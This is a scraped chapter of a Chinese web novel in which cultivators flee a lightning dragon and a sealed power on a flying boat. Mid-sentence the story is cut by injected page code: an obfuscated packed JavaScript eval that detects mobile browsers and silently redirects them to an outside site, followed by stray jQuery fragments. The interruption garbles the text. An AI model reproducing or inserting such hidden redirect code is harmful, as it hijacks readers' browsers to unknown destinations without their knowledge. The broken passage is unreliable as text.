文趣网 > 其他小说 > 女配她总被肖想 > 28. 脱险
    “我靠,把这茬给忘了!”

    福瑞慌慌张张:“天雷只有闻斩霜修行受阻时才会出来劈你,这都好几日没出来作妖了,况且今天这破事就压根不是原剧情!我靠,咱俩都没想起来,闻斩霜有大危险,在系统这边也算修行受阻!”

    可不是么!别说修行受阻了,照这架势她们要还不快些离开,今天都得交代这!

    “我他爹真服了,这傻叼系统天天光叨叨叨保护闻斩霜,生怕她有一点修行上的障碍,不然那雷哐哐逮你劈,结果人闻斩霜在时也一块劈啊?那万一连人家一块劈死了呢?真服了怎么什么人都能当系统,别干了让我干算了……“

    福瑞骂骂咧咧气急败坏,控诉雷龙是个人机一点情况不看。

    仙舟上几人俱为诧异,修真界无奇不有,可如此喧嚣的雷龙却是闻所未闻,况且瞧这架势,这雷龙倒像是瞄着她们劈一般!

    难不成是因为应劫的缘故?

    怕是也只有这个可能了。

    谢江远吸口气,强迫压下心头震撼。对于应劫,他所知甚少,在父亲眼中,他向来是个不学无术的纨绔,这般事宜父亲只会与门客谈论,未曾向他透露多少。

    今日,他知晓太多他不愿去沾染之事。

    应劫果真存在于世,家族门客死侍为何又潜入封印?是要诛杀应劫?

    他沉目,再度睁开时,眸中阴霾消散殆尽。

    管他应劫如何,他可不想死在这。

    他还没喝够好酒呢,也没在这世间玩闹过瘾呢。

    况且……

    是他不顾云师妹劝阻,非要前来的,若带着这么一帮子人都被劈死炸死在这,九泉之下他也不好意思交代!

    谢江远再度凝气,那股不可名状之力实在过去强大,他一人绝非能够抗衡,只是这次,他身上忽觉暖融融的,回头,一道清澈光雾将他环绕,簌簌灵力缓缓融入他体内,而光雾另一头,是云师妹。

    情况太过紧急,云昭知晓谢江远力量远无法敌过那大概是应劫的边角料诡力,仙舟认主,又不听她的,她忽然福至心灵,想着,若她将灵力渡给谢江远呢?

    如此一试,或许可行!

    “别愣着啊!”云昭瞅着一旁愣着不知道干什么的方华和薛明飞,这两个家伙简直是笨得流黄汤,这么中气十足一嗓子吼下去,二人连同剩下的闻斩霜立即依葫芦画瓢,将所剩不多的灵力传给谢江远。

    “你且歇息吧,我来便好。”云昭对闻斩霜道,闻斩霜本就受了伤,方才还吐血,加之她的修为如今最差,即便倾注全力怕是也不能影响一二,再这般怕是会伤及根本。

    闻斩霜决然摇头:“我哪有坐视不管的道理。”

    云昭沉默一会,劝阻的话语又咽了下去。

    这或许就是主角和其他人的区别吧,要她,大概率也不会坐视不管,只是只在自己力有所及的时候出手,可闻斩霜呢,却是不论如何都会倾尽全力,不给自己任何退路。

    腰间玉佩亮起微光,而后又暗淡,不知是封阙又给她发了什么,云昭也无瑕去看了。

    闻灵萱早已吓到缩至墙壁边,在看到家族大能门客被瞬间炸为血雾的一瞬,她的心理防线尽数崩溃,从小被灌输的“家族会为你承担任何事”此时仿佛成了个笑话。

    她不住颤抖,心里反复问着一个问题:

    怎么可能?怎么可能?

    那数十人她认得!那可是闻家排得上号的大能,随便一个,都是碾压邪祟魔物的存在。

    怎么就……怎么就成了这样呢……

    云昭右眼皮一直在跳,闻灵萱不会出手,她们统共只有五个人,谢江远修为最高,可也不过是筑基中,她倒也是筑基中,但她空有修为,没有能够驾驭修为的能力,本就大打折扣,而其他人灵力本就稀薄,哪经得起这般挥霍。

    灵力即将要耗尽了。

    该怎么办?

    头顶是天雷的怒吼,背弃规则之人,在系统眼中,化为焦土也死不足惜;

    脚下是不可名状的威压,稍不留神,便会炸为血雾。

    “动了!动了!”许是加上众人修为的缘故,本是缓缓被那力量拉着倒退的仙舟终逆转形势,龟速前进,只是这般速度远不够逃出即将砸落的天雷范围,又是一道轰鸣,云昭微微阖上眼,她觉得自己灵力已经所剩无几了。

    仙舟蓦然提速,云昭猝不及防往后倒去,吧唧摔在地板上。

    往身旁看,闻斩霜同样跌倒,却紧紧咬牙,唇边不断有殷红血迹流下。

    云昭心底一酸。

    人之将死,总是有过多感慨。

    灵力起不到作用了,只是过度的消耗令她浑身酸软,用力握住闻斩霜的手,轻轻擦去她唇边的鲜血,忽而道:“对不起,我没能保护好你。”

    云昭真的很想哭,她在想,到修真界的这段时日,她为什么就没有好好修习呢?

    她明明有个好师尊,多磨一会指不定就要给她什么保命符了,再不济也会教她几个法术。

    她明明可以刻苦修炼,有些真本事,能够保护闻斩霜的。

    如果没有她,是不是穿书管理局就会派个运气好点的下来,不至于一来就成个什么也不会只会嘴炮拉仇恨的狐妖,至少会有能力保护好闻斩霜。

    云昭越想越难过,她才到修真界几天啊,怎么就没了?!说出去丢人不说,福瑞给她画的大饼还都没个边呢。

    可能是回光返照,云昭素日呆滞转都懒得转的大脑像是忽然打通疏散了,各种记忆回马灯围着她乱转。

    虽说修真界偶然有些操蛋,时不时窜出个闻灵萱月长川之流搞些精神攻击,但她感受到的更多还是善意,她有个多好的师尊,认识了谢江远闻斩霜等等这么多好人,还有封阙……

    封阙……

    这么好的人,她高低得提醒一声,没事少来山岚间晃荡。

    云昭想也没想,摸半天摸出玉佩,看见封阙给她发了个【你在何处】,哐哐哐就往上一通乱写,她肾上腺素有些高,也不知道哪来的速度,头脑一片晕乎乎的,和做梦倒没什么区别,自认为逻辑在线哗哗哗没几秒给封阙写了细细密密的临死感言,辞藻华丽用词严谨引经据典的,云昭都有点骄傲了,真真是名家大作。

    这么一来,她心事也放下了,她初来修真界不久,牵挂的人自也不多,师尊自身强大,左右也难吃着亏,封阙她已经提醒了,剩下的其他人也都在她身边等着一起挂掉,该说不说,怪整齐的。

    她呼呼啦啦忙完这么一圈,又是感慨又是给人发消息的,总觉得时间也差不多了,终于觉得不对劲了。

    不对劲,不对劲。

    太久了。

    雷怎么就还没劈呢?!

    云昭颤巍巍抬眼,见不知何时一片明朗,白云流水,光洒青山,仙舟速度已放缓,窗外几只白鹤掠过,翅凌虚空,划出道道风声。

    已经逃出来了?!

    阴云裹着雷龙消散了,浓雾早已被甩开不知几千里,除了闻灵萱抽抽的哭声,平静到有些难以置信。

    “我们这是……出来了?”方华哆嗦着撑起身子,方才实在太过惊险,简直是从死前走了一遭,仙舟速度又是极快,他和薛明飞砸在一起,抱着头是一动不敢动。

    “什么?出来了?!”薛明飞激动不已,将起身,又发现身上坐着个方华,一脚将其踹开,惹得对方怒骂:“哎哟你不长眼呐!”

    “你才不长眼,没看到你都坐我身上了吗?!”

    “谁乐意坐你身上啊,那一片乌漆麻黑的,谁能看见啊?”

    “那你倒是起来啊!”

    “起就起!哎呦……”

    “你怎么又摔我身上了!快滚啊!”

    仙舟内,寂静到令人心慌的氛围在两人吵吵声中逐渐淡去了,云昭想要起身,却发现早已瘫软到失了大半力气,一个趔趄便要摔倒,却被一双手又稳稳扶住。

    闻斩霜在发抖,指尖泛白,唇色淡淡,面上毫无血色,额间发丝被冷汗浸湿,黏糊糊贴着,云昭同她对视时,却忍不住在想,这哪是一个虚弱的少女呢?

    这是一头落魄的母狼,她的眼中映着不再有浓雾遮挡的天空,闪着的是倔强的色彩。

    比起修为暂时耗尽的云昭,她的状况显然更不好,可她仍是朝云昭淡淡一笑,扶着云昭的手微微用力,轻声道:

    “为什么道歉,你一直在保护我。”

    想了想,她犹豫一会,但很快,她又道:“……遇到你,我……很幸运。”

    云昭有点感动,一是有种她的大英雌主义被认可的爽感,她是实实在在被需要了的,二是闻斩霜这姑娘肉眼可见的在心理素质这一块进步了,方才她瞅见闻斩霜的眼神,不论是被闻灵萱欺辱的时候,还是险些殒命于山岚间的时候,都是一股子爱咋咋的平静感,前不久在封天舟被欺负的时候,情绪还有些激动,如今也荡然无存了。

    闻灵萱吓破了胆,缩在仙舟远离众人的一角,吧唧吧唧掉眼泪。

    “你以为我不想起来吗?!我腿都软了你倒是扶我一下啊!”

    “我扶你?哦我被你压身底下我扶你是吧?来来来你教我该怎么着?蠢得脑子不要捐给你家铺子当个猪脑下酒菜!”

    “老大,老大你管不管了?他就这么说我!”

    方华和薛明飞你一句我一句,俩人都倒地上不起来了,跟叠罗汉似的,这下吵吵到谢江远身上了,坐前头的谢江远白他们眼:“你俩多大人了?丢不丢人啊?少吵吵,别吓着人俩姑娘。”

    言毕,他振衣欲起,一袭暗红衣猎猎舒展,身子挺拔如松,眉眼仍是惯常的桀骜戏谑,有清风穿窗而入,掠动他额前碎发,微风拂杨柳,美得好似一幅山水画。

    一旁吃瓜的云昭也看呆了,心里头那早死了不知多少年的少女心刚挠一下上来,谢江远就发出一声怪叫,以一个非常丑陋并且扭曲的姿势摔倒在地,惊得众人是吵架的不吵架了,姐妹情深的不姐妹情深了,全炸起来跑过去看他情况,就是哭的还在哭,闻灵萱似乎哭更大声了。

    “别扶我啊!小爷我好得很!”不等众人靠近,谢江远腾一下弹跳起来,跟地上烫脚一样打打左腿灰又拍拍右脚尘,看起来很忙,清清嗓子再三解释:“我没事,就是没站稳,自然不是因为我方才怕了,笑死,我怎会怕?方才其实也没什么好怕的,最次不就是死吗,不怕,我完全就没怕的。”

    “老大……主要……”方华欲言又止,“也没人说你怕啊……”

    谢江远眼一瞪,方华不敢说话了,他又一瞪薛明飞,本想开口附和的薛明飞捂着嘴眼神四处飘当自己不存在。

    咋咋呼呼完了,谢江远安抚完自己,又来安抚两个姑娘情绪,见二人方才怕他嘎巴挂掉都跑自己身边了,忙道:“嗨呀,我能有什么事呢,不打紧,二位没吓到吧?方才诸位灵力助我,真是万分感激,这两枚庇灵丹可莫要客气!”

    谢江远叽里咕噜说完,从法袋里头掏吧掏吧半天,掏出两枚黑黢黢的丹药来,递给云昭和闻斩霜二人。

    闻灵萱抽抽噎噎还在哭,这次听着还有鼻涕音,哼哧哼哧的。

    见二人接过只是看却并未吃,谢江远恨铁不成钢:“这是庇灵丹,对修为有大用的!方才你们消耗的这点子修为,就这么颗丹药下去,马上就又恢复如初了。看什么啊你俩,我不是就这么两颗吗,我自己都没有你俩惦记啥,害,不就是个庇灵丹吗,也没啥稀奇的,就算不吃,好生养上个把月,不也能恢复吗?”

    谢江远又是怕云昭闻斩霜不吃又是怕方华薛明飞吃的,这么一通话下去可谓前后矛盾颠三倒四,但好在方华等二人也没什么脑子,且忙着干架,倒是没有意识到有什么问题。

    云昭生怕那俩人反应过来,快速捏起他掌心摊着的其中一枚庇灵丹,塞给闻斩霜,又生怕闻斩霜自尊心强不要,快嘴叨叨:“那我替斩霜谢过谢大哥!”

    脸皮厚一次可以,次数多了就不行,她给闻斩霜是因得她要在力所能及的范围里头尽可能给闻斩霜最好的修习条件,但她的那一枚,是怎么都不肯要了。

    人谢江远就这两颗,自己都没吃的,她怎么好意思舔着脸要啊?!!

    云昭摆摆手:“斩霜受伤严重,至于我,我就不必了,谢大哥不必管我。”

    “这怎么行?”谢江远不乐意了,他生平最怕旁人同他见外,方才山岚间整了那么一出,他面子上不显,其实胆子早吓破了一半,瞅着云师妹和闻师妹比他淡定多了,不由心生佩服,想着云昭这个朋友他是说什么也要结交了,这下一听其说不要,将那丹药就往云昭手里塞:“给你你就拿着,爷多的是,只是今日没带来罢了!”

    云昭没啥理由推脱了,心中给谢江远竖起一个大拇哥,谢江远动作粗鲁得很,胡乱就塞到她手里,她本想揣兜里,瞅个啥时候再给闻斩霜,又对上谢江远那不灵不灵写满了“快吃啊你要现在不吃他俩一会反应过来可抢了啊”的眼神,遂默默吞下。

    果不其然,那庇灵丹顺着嗓子眼下去的一瞬间,她就觉一阵暖意自腹腔蔓延,四肢疲惫逐步消散,不过半柱香的功夫,她的修为竟是回到了原本水平。

    谢江远监督她吞完,云昭又跳起来监督闻斩霜,见闻斩霜也乖乖服下,身上小伤愈合了个七七八八,才放下心来。

    闻灵萱仍然哭,云昭被那哼哧哼哧的声音头疼,寻思着,这姑娘也是,自作孽还跟受了多大委屈似的,等出去不知道得怎么蛐蛐她们,就这么一瞅闻灵萱,恰好看到闻灵萱哭出个巨大的鼻涕泡泡,搁日光下七彩斑斓的,啪一声就破了。

    云昭:……

    闻灵萱:……

    闻灵萱擦擦鼻子,自己丢人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887079|212584||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的一幕被讨厌之人看到了,这下哭得更伤心了,一抽一抽的,还不停打嗝。

    “老大,你这仙舟还有驴啊?”方华震惊不已,被薛明飞上去就是一拳:“什么驴,你傻啊,这么大会你见驴了吗?,还驴呢,我看你就是个蠢驴。”

    方华不服叫嚣:“那我怎么听到驴叫了?”

    “还驴叫呢……”薛明飞不屑,哼声侧耳倾听一会,忽而瞪大眼,同样震惊不已:“老大!,还真有!”

    谢江远:……

    谢江远默默瞥远处缩成一团但嘤嘤哭个不停的闻灵萱,终于忍无可忍,结束这场闹剧:“什么驴啊,那闻灵萱。”

    方华诧异:“什么?闻灵萱是驴妖?可闻家不是号称血脉纯正吗?怎可能出现妖族血脉?”

    “哎我真服了你是不是傻?”薛明飞翻个白眼,恨不得一拳捶方华身上,“闻家不都是驴妖,是这闻灵萱是个驴妖,我去,说不定真的闻灵萱已经被替换了!”

    薛明飞越想越笃定,气冲冲到缩成一坨的闻灵萱跟前,非常有种没什么脑子的血气方刚干:“呔,你这驴妖!说吧,把闻灵萱藏在了何处?!”

    闻灵萱抽抽噎噎,没反应过来,嗓子里清亮地打了个悠扬婉转的隔。

    薛明飞登时跳起,便要丢出法袋里各种破烂法器,还不忘向谢江远求助:“老大!你听到了吗?真是驴妖!这驴妖不知哪年就把闻灵萱夺舍了!老大你快看啊……哎老大你打我干嘛?”

    谢江远上去给了薛明飞脑子一下,又跑了半个仙舟冲上去给了方华脑子一下,觉得他这段时日脑子偶不太好使的原因找到了,合着是和这俩大傻子玩多了:“是闻灵萱哭得像驴,不是她是驴妖!更不是什么夺舍替代的,都怎么想的?”

    方华这才反应过来,搓着脑子:“原是如此……可我见那话本子都是这么写的……”

    “你脑子就是看那看坏的。”谢江远道,见那闻灵萱面色青一阵白一阵,若是个男子,恶毒至此,他早上去揍个满地找牙了,可眼下对方好歹是个女孩子,他确实不忍心,也确实不好意思。

    窗外的天慢慢变橘了,红黄交织的霞光铺满天边一角,沉沉暮色坠下,天色不早了。

    谢江远观望天色,又坐回主座去了:“行了,今日意外,属实未曾料到,大家也都受了惊,我送诸位回去,此事莫要对外提起,若有人问起,就说咱们几个一道去酒楼喝了个昏天黑地,是什么都记不得了。”

    仙舟恰悬至某处荒地上,谢江远的语气难得掺杂丝凉意:“闻二小姐,是我请你下去呢,还是你自己下去?”

    这么一说,众人的注意力才到闻灵萱身上,方才她抽抽噎噎的哭个不停,愣是没人搭理她,全当她不存在了。

    闻灵萱本就众星捧月惯了的,不论是家族里头,还是几个胡作非为的玩伴中,她不说是焦点吧,却也无人敢视她于无物,这下哭了有大半个时辰,无人安抚她就罢了,她还听闻有声音说她哭得像驴叫,真真岂有此理!

    只是她受了惊,对方人数又多,实在是无法发作。

    眼下情绪平复一二了,将要止住哭泣,却又闻得那谢家嫡子冷冰冰催人下去,她反应了几秒,才意识到是在说她。

    真是岂有此理!她闻灵萱生这么大,是第一次被驱逐!

    凭什么所有人都不来安慰她?谢江远凭什么对闻斩霜那肮脏种和颜悦色?又凭什么对那死狐狸关照有加?!

    闻灵萱作死的小火苗挠一下燃起,胡乱抹把泪,扶着仙舟墙壁站起,清清嗓子便要颐指气使,谢江远往她这一瞥楞,没好气道:“有事吗?”

    这话听着不气也不恼,就是话语里头夹杂的那股子冷意,直直将闻灵萱那股子气刷一下就浇灭了。

    其实她对谢江远的态度向来是复杂的,谢家与闻家沾亲带故,她和谢江远还能扯的上是远方表亲,虽说谢江远不学无术了点,在各位长辈口中都是个纨绔子弟,可修为剑术不仅算不得差,甚至是年轻一辈的顶尖。

    更何况,谢江远生得俊逸洒脱,那几分少年人的桀骜与疏朗足以吸引目光,只是不羁的性子叫她望而却步。

    闻灵萱心中虽很是不爽,却也不得不下仙舟,甫一踏上地面,她又要将脚收回,这前不着村后不着店的,她哪知道怎么回家?

    将一退却,她就骤感背后一阵凉意,只得将那不情不愿默默咽下,心中暗骂了谢江远不知多少遍。

    好在她还有几块能够将自己位置传给家族的宝贝,否则,真是不知道何时才能回去呢。

    只是,这口气,她是无论如何都不会甘心咽下了。

    .

    浓雾翻滚,与天边云海交汇,竟是分不清何为水面,又何为天边。

    归溟海与其说是海,其实更算得上是潭,虽大到远无边际,可这水却是死水,久久无一水波。

    归溟海的水是暗色的,这暗色是因得不知几千米的潭深。此时,那些暗色中有些位置更深了,那并非不可见底的潭深又猛地增了,而是这水是血色的,在灰蒙蒙雾色下显出了更深的黑色。

    暗色潭水死般寂静,全然令人想不到,不过半个时辰前,这里的上空还有数千修士御剑而过。

    只是如今那些修士都化为潭上深浅不一的暗红了,此前多么针锋相对的关系,也你中有我、我中有你了。

    归溟海的最深处,那血色是断断进不来的,蓦地出现了个黑色的巨大存在,应劫在这里不知道呆了多久,起初他还是有感知的,后来时间长了,头顶又总是一片黑漆漆的,时间感官自然就没了。

    今日又来了一批嫌活腻了的,他其实都有些懒得出手了,本是想扬起滔天浪花将那些苍蝇压进水底看他们自己造化的,风家那小子却让他做绝一些。

    那便做绝吧,反正也都差不多。

    啧,无聊。

    风家小子厌恶那几个家族,尤其怨恨风家,今日他才知,原来风家小子都怨到这般地步了,勉强有趣,除此之外,还有一件事能略微让他颇觉新鲜。

    那盘踞呼啸的雷龙,可不常见。

    除了那几百只苍蝇,还有只老鼠也混进来了,他自是能感知到的,自然也能辨别,那雷龙是冲那老鼠来的。

    稀奇,那几人的修为毫无可圈可点之处,有什么好吸引雷龙的?

    他颇感兴趣,察觉那小小仙舟要逃离,不过手指都未勾,便拉住仙舟,倒要看看雷龙是盯上了几人中的谁。

    唉,要不是风家小子这时非要他停手。

    谁让那小子说要帮他解开封印呢,更何况还真的解开了他左臂。

    应劫用唯一可动的左手,将手心的玉佩往上抛,然后接住,再往上抛,似乎这是他唯一可打发时间的游戏了。

    而那随着他动作不断翻滚的玉佩上,还留着两个字——

    【住手】。